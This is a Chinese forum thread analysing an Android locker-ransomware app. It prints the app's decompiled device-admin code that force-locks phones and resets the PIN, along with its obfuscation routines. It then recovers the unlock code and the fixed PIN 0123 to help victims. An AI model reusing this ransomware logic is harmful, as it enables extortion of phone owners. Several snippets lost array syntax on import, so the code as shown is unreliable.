ming莫 发表于 2017-8-23 22:49

一款恶意锁屏软件的破解(简单的DES加密混淆)

本帖最后由 ming莫 于 2017-8-23 23:17 编辑

## 0x01 打开恶意软件
打开该应用的时候提示激活设备管理器,一般的小白用户很容易会点击激活按钮


当点击激活之后,手机进入锁屏状态:


破解思路:找出解锁码的计算方式。
## 0x02 初步分析
拉入JEB2进行分析。
找到解锁按钮的点击事件:


代码的逻辑是从SharedPreference中获得“passw”的值,然后通过decrypt方法来解密出解锁码,跟用户输入的解锁码进行比对,正确则移除锁屏。
用adb命令把该app的shared_prefs文件夹拉到本地
adb pull /data/data/com.xcszsj/shared_prefs



得到passw的值为:**ed3a2881de33133d700ecb6bb7b627a9**。

## 0x03 分析decrypt函数
decrypt函数是在DU类中实现的:
```
package com.xcszsj;

import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class DU {
    private Cipher decryptCipher;
    private Cipher encryptCipher;
    private static String strDefaultKey;

    static final {
      DU.strDefaultKey = "national";
    }

    public DU(String str_flower) {
      DU v0 = this;
      super();
      v0.encryptCipher = null;
      v0.decryptCipher = null;
      DU v6 = v0;
      String v7 = str_flower;
      try {
            Key securekey = v6.getKey(v7.getBytes());// securekey
            v0.encryptCipher = Cipher.getInstance("DES");
            v0.encryptCipher.init(1, securekey);
            v0.decryptCipher = Cipher.getInstance("DES");
            v0.decryptCipher.init(2, securekey);
      }
      catch(Exception v6_1) {
            v6_1.printStackTrace();
      }
    }

    public DU() throws Exception {
      this(DU.strDefaultKey);
    }

    public static String byteArr2HexStr(byte[] arg12) throws Exception {
      byte[] v0 = arg12;
      int v2 = v0.length;
      StringBuffer v3 = new StringBuffer(v2 * 2);
      int v4;
      for(v4 = 0; v4 < v2; ++v4) {
            int v5;
            for(v5 = v0; v5 < 0; v5 += 256) {
            }

            if(v5 < 16) {
                v3.append('0');
            }

            v3.append(Integer.toString(v5, 16));
      }

      return v3.toString();
    }

    public String decrypt(String arg9) throws Exception {
      return new String(this.decrypt(DU.hexStr2ByteArr(arg9)));
    }

    public byte[] decrypt(byte[] arg6) throws Exception {
      return this.decryptCipher.doFinal(arg6);
    }

    public String encrypt(String arg6) throws Exception {
      return DU.byteArr2HexStr(this.encrypt(arg6.getBytes()));
    }

    public byte[] encrypt(byte[] arg6) throws Exception {
      return this.encryptCipher.doFinal(arg6);
    }

    private Key getKey(byte[] arg12) throws Exception {
      byte[] v1 = arg12;// flower.getbytes
      byte[] v3 = new byte;
      int v4;
      for(v4 = 0; v4 < v1.length; ++v4) {
            if(v4 >= v3.length) {
                break;
            }

            v3 = v1;
      }

      return new SecretKeySpec(v3, "DES");
    }

    public static byte[] hexStr2ByteArr(String arg14) throws Exception {
      byte[] v2 = arg14.getBytes();
      int v3 = v2.length;
      byte[] v4 = new byte;
      int v5;
      for(v5 = 0; v5 < v3; v5 += 2) {
            v4 = ((byte)Integer.parseInt(new String(v2, v5, 2), 16));
      }

      return v4;
    }
}
```

可以知道,这里使用了**DES加密**,所以接下来的关键就是找到加密的密钥。

## 0x04 解密
回到调用函数的对象
v0.this$0.des.decrypt
this$0代表的是父对象,也就是s类:


分析des的生成:


作者故意多做了几个步骤来增加逆向的困难。下面看看DU的构造方法:
```
public DU(String str_flower) {
      DU v0 = this;
      super();
      v0.encryptCipher = null;
      v0.decryptCipher = null;
      DU v6 = v0;
      String v7 = str_flower;
      try {
            Key securekey = v6.getKey(v7.getBytes());// securekey
            v0.encryptCipher = Cipher.getInstance("DES");
            v0.encryptCipher.init(1, securekey);
            v0.decryptCipher = Cipher.getInstance("DES");
            v0.decryptCipher.init(2, securekey);
      }
      catch(Exception v6_1) {
            v6_1.printStackTrace();
      }
    }
```

在分析之前我特意百度了一下DES加密在Java中的实现。
v0.encryptCipher.init(1, securekey);


init方法第一个参数1代表加密,2代表解密;第二个参数是密钥。
后面可以通过调用encryptCipher的doFinal方法进行加密,调用decryptCipher的doFinal方法进行解密。

DU类的构造方法传入的是一个字符串,然后通过getKey方法获得密钥。
这里作者先是传入“**flower**”,通过getKey方法得到密钥:**666c6f7765720000**,
然后用这个密钥解密**c29fe56fa59ab0db**,解密得到"**xxx**",
作者再将这个解密出来的字符串再次作为DU的构造参数传入得到新的DU对象。
同样的我们通过getKey方法得到新的密钥**7878780000000000**。
现在我们可以解密0x02中得到的加密解锁码(**ed3a2881de33133d700ecb6bb7b627a9**)了。
解密得到:**50003279**,是本机ID5003280减一。

## 0x05 设备锁屏密码被修改了
找到MyAdmin类,这是处理设备管理器发送出来的消息的。
```
public class MyAdmin extends DeviceAdminReceiver {
    public MyAdmin() {
      super();
    }

    @Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
      String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
      this.getManager(arg13).lockNow();
      this.getManager(arg13).resetPassword(v7, 0);
      return super.onDisableRequested(arg13, arg14);
    }

    @Override public void onEnabled(Context arg20, Intent arg21) {
      Class v14;
      MyAdmin v0 = this;
      Context v1 = arg20;
      Intent v2 = arg21;
      String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
      Intent v11 = null;
      Intent v12 = null;
      Context v13 = v1;
      try {
            v14 = Class.forName("com.xcszsj.s");
      }
      catch(ClassNotFoundException v11_1) {
            throw new NoClassDefFoundError(v11_1.getMessage());
      }

      super(v13, v14);
      v11.setFlags(268435456);
      v1.startService(v11);
      v0.getManager(v1).resetPassword(v7, 0);
      super.onEnabled(v1, v2);
    }

    @Override public void onPasswordChanged(Context arg13, Intent arg14) {
      String v7 = M.getsss(BAH.getString(arg13.getResources().openRawResource(2131099649)).replaceAll("\n", ""));// ==wMzEDM
      this.getManager(arg13).lockNow();
      this.getManager(arg13).resetPassword(v7, 0);
      super.onPasswordChanged(arg13, arg14);
    }

    @Override public void onReceive(Context arg8, Intent arg9) {
      Log.i("------", "onReceive-----");
      super.onReceive(arg8, arg9);
    }
}
```

关键代码:
```
String v7 = M.getsss(BAH.getString(v1.getResources().openRawResource(2131099649)).replaceAll("\n", ""));
v0.getManager(v1).resetPassword(v7, 0);
```
v7就是新的锁屏密码。
搜索“**2131099649**“,未果;
搜索它的十六进制形式“**0x7f060001**”

发现它是代表apk里的这个文件:





将BAH.getString导出来,执行一遍发现它只是把字符串“Cj09d016RURN“返回而已。
接下来分析M.getsss方法:
```
    public static final String getsss(String arg21) {
      String v2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0));
      CharSequence v3 = v2.subSequence(3, 4);
      CharSequence v4 = v2.subSequence(4, 5); //这里以上的代码可以导出执行,然后打印出v3和v4的值
      return new String(new String(Base64.decode(new StringBuffer().append(new StringBuffer(new String(Base64.decode(arg21.replaceAll(v3, "三生石畔").replaceAll(v4, "彼岸花开").replaceAll("三生石畔", v4).replaceAll("彼岸花开", v3).toString(), 0))).reverse()).append("").toString().toString(), 0)));
    }
```
这里作者故意混淆了一下,通过代码分析和运行测试,可以知道v3 = 6;v4 = 5;然后把“Cj09d016RURN”中的6换成5,然后第一次解码:


得到==wMyEDM,然后逆序为MDEyMw==,第二次解码:


得到锁屏密码0123

**总结:该恶意APP通过随机数生成本机ID,然后用这个ID减一的值作为解锁码,并且在代码中通过各种加密解密来增加逆向的难度;而锁屏密码是通过Base64加密和其他方式混淆之后存放在文件中,每台机子都是一样的,解锁pin码为0123。**

星心的泪 发表于 2017-8-24 00:56

本帖最后由 星心的泪 于 2017-8-24 00:58 编辑

搜索“2131099649“,未果;搜索它的十六进制形式“0x7f060001”。为什么要在7f060001加0x呢?哦。是表示7f060001是十六进制数啊?

SN1t2lO 发表于 2017-8-24 08:14

星心的泪 发表于 2017-8-24 00:56
搜索“2131099649“,未果;搜索它的十六进制形式“0x7f060001”。为什么要在7f060001加0x呢?哦。是表示7f ...

你猜的没错,0x就是十六进制的标识前缀,同理,二进制,八进制,十进制都有相应的前缀

凯文希特特 发表于 2017-8-23 22:51

先mark,好好学

shaokui123 发表于 2017-8-23 22:54

有没有样本,病毒运行什么界面

ming莫 发表于 2017-8-23 23:01

{:1_937:}从word导入的排版,不知道为什么出问题了

夜影无痕 发表于 2017-8-23 23:13

涨见识了

s7868605 发表于 2017-8-23 23:25

学习一下

yangjie 发表于 2017-8-23 23:53

楼主大神

6767 发表于 2017-8-24 00:23

放在java层的基本都能搞定
0123
城会玩{:301_1010:}

太子爷_振 发表于 2017-8-24 00:40

软件安装的时候,就很明显是锁机了。小学生还会上当{:1_907:}{:301_1009:}
页: [1] 2 3 4 5
查看完整版本: 一款恶意锁屏软件的破解(简单的DES加密混淆)